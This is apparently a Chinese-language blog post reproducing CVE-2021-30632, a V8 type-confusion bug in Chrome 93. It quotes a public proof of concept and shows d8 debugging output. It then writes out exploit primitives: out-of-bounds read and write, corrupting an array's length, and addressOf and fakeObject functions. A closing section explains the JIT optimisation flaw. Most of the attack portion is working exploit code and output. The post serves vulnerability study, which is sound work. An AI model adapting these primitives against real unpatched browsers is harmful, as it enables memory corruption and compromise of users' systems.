复现CVE-2021-30632
第三个研究的是CVE-2021-30632
,其chrome的bug编号为:1247763
不过其相关信息还未公开,但是我们仍然能得知:
受影响的Chrome最高版本为:93.0.4577.63
受影响的V8最高版本为:9.3.345.16
不过网上能搜到一篇分析文章Chrome in-the-wild bug analysis: CVE-2021-30632 ,不过文章中只有PoC,不包含EXP,PoC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 function foo(b) { x = b; } function oobRead () { return [x[20],x[24]]; } function oobWrite(addr) { x[24] = addr; } //All have same map, SMI elements, MapA var arr0 = new Array(10); arr0.fill(1);arr0.a = 1; var arr1 = new Array(10); arr1.fill(2);arr1.a = 1; var arr2 = new Array(10); arr2.fill(3); arr2.a = 1; var x = arr0; var arr = new Array(30); arr.fill(4); arr.a = 1; ... //Optimzie foo for (let i = 0; i < 19321; i++) { if (i == 19319) arr2[0] = 1.1; foo(arr1); } //x now has double elements, MapB x[0] = 1.1; //optimize oobRead for (let i = 0; i < 20000; i++) { oobRead(); } //optimize oobWrite for (let i = 0; i < 20000; i++) oobWrite(1.1);//Restore map back to MapA, with SMI elements foo(arr); var z = oobRead(); oobWrite(0x41414141);
搭建环境 一键编译相关环境:
套模版 研究PoC 稍微修改一下PoC,然后运行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $ cat poc.js ...... function oobRead ( ) { return x[16 ]; } ...... var z = oobRead (); console .log (hex (ftoi (z)));%DebugPrint (x); %SystemBreak (); $ ./d8 poc.js 80023b500000002 DebugPrint : 0x34070804a1a1 : [JSArray ] - map : 0x340708207939 <Map (HOLEY_SMI_ELEMENTS )> [FastProperties ] - prototype : 0x3407081cc139 <JSArray [0 ]> - elements : 0x34070804a1b1 <FixedArray [30 ]> [HOLEY_SMI_ELEMENTS ] - length : 30 - properties : 0x34070804a231 <PropertyArray [3 ]> - All own properties (excluding elements): { 0x340708004905 : [String ] in ReadOnlySpace : #length : 0x34070814215d <AccessorInfo > (const accessor descriptor), location : descriptor 0x340708007aad : [String ] in ReadOnlySpace : #a : 1 (const data field 0 ), location : properties[0 ] } - elements : 0x34070804a1b1 <FixedArray [30 ]> { 0 -29 : 5 } ......
然后挂上GDB进行调试,发现变量z
的值(0x80023b500000002
)位于elements + 8 + 16 * 8
,从这可以看出该PoC达到了越界读的效果,同理,oobWrite
函数能达到越界写的目的。
那么我们可以按以下顺序定义变量:
1 2 3 4 var arr = new Array (30 ); arr.fill (4 ); arr.a = 1 ;var trigger_array = [1.1 ];var padding = [1.1 ];var vul_obj = {"a" : 1 };
那么通过arr
的越界读,我们可以获取到下面三个变量的相关信息。具体的偏移可以通过gdb调试获取,比如trigger_array
变量的偏移为20
。我可以通过oobWrite
函数去修改trigger_array
变量的size位,转换为trigger_array
变量的越界利用。
根据上述的数据去修改oobWrite
函数和oobRead
函数:
1 2 3 4 5 6 7 function oobRead ( ) { return x[21 ]; } function oobWrite (addr ) { x[21 ] = addr; }
然后就是修改trigger_array
的size
,把trigger_array
数组的大小改为0x20:
1 2 3 4 5 6 var z = oobRead ();console .log ("[*] leak data: 0x" +hex (ftoi (z)));if (d2u (z)[1 ] == 2 ) oobWrite (u2d (d2u (z)[0 ], 0x20 )); else oobWrite (u2d (0x20 , d2u (z)[1 ]));
编写addressOf函数 现在我们能来编写addressOf函数了:
1 2 3 4 5 6 7 8 function addressOf (obj_to_leak ){ vul_obj[0 ] = obj_to_leak; trigger_array[7 ] = array_map; let obj_addr = ftoi (vul_obj[0 ])-1n ; trigger_array[7 ] = obj_map; return obj_addr; }
编写fakeObj函数 接下来就是编写fakeObj
函数:
1 2 3 4 5 6 7 8 function fakeObject (addr_to_fake ){ padding[0 ] = itof (addr_to_fake + 1n ); trigger_array[5 ] = obj_map; let faked_obj = padding[0 ]; trigger_array[5 ] = array_map; return faked_obj; }
其他 剩下的工作就是按照惯例,套模板,修改偏移了,这PoC目前我也没觉得哪里有需要优化的地方。
漏洞简述 在文章开头,就给了一篇分析文章,原理在这篇文章也讲的很清楚了,我这里就不展开再写了。我就简单概括一下说说我的理解。
首先是对foo
函数进行JIT优化:
1 2 3 4 5 for (let i = 0 ; i < 40000 ; i++) { if (i == 100 ) arr2[0 ] = 1.1 ; foo (arr1); }
arr1
在unstable
的情况下,经过JIT优化,所以JIT会假设foo
函数的输入为SMI
数组类型的变量,然后执行x[0] = 1.1;
,把x变为浮点型数组类型的变量,但是因为变量x(这个时候x等于arr1)是unstable
,因为代码的bug,所以这个时候不会取消JIT优化。
然后执行:
1 for (let i = 0 ; i < 40000 ; i++) oobRead ();
oobRead
函数也经过JIT优化,这个时候JIT认为变量x是浮点型数组类型。
然后执行foo(arr);
,因为之前JIT已经假设了foo
函数的输入变量为SMI
数组,而arr
就是SMI
数组变量,所以JIT把x变量设置成了arr,却没有取消oobRead
函数对于x变量的假设。
也就是说,在foo
函数中,认为x是SMI数组,而oobRead
函数中认为x是浮点型数组,这就产生了类型混淆。
所以在oobRead
函数中x[21]
的取值方式是在地址为x + 8 * 21
取8字节的浮点型数值。但是x现在已经等于变量arr
了,是一个长度为30的SMI数组,size为: 4 * 30
,所以这就导致了溢出。
不过在分析该漏洞的时候仍然还有一些问题没有解决,函数循环多少次会被JIT优化?在什么情况下把arr1
转化为unstable
,JIT才能正常优化?上面循环40000
次,在i==100
的时候让arr1
变为unstable
都是我试出来的,但是为啥是这个次数呢?我还没研究明白。等后续研究明白了可以专门写一篇文章。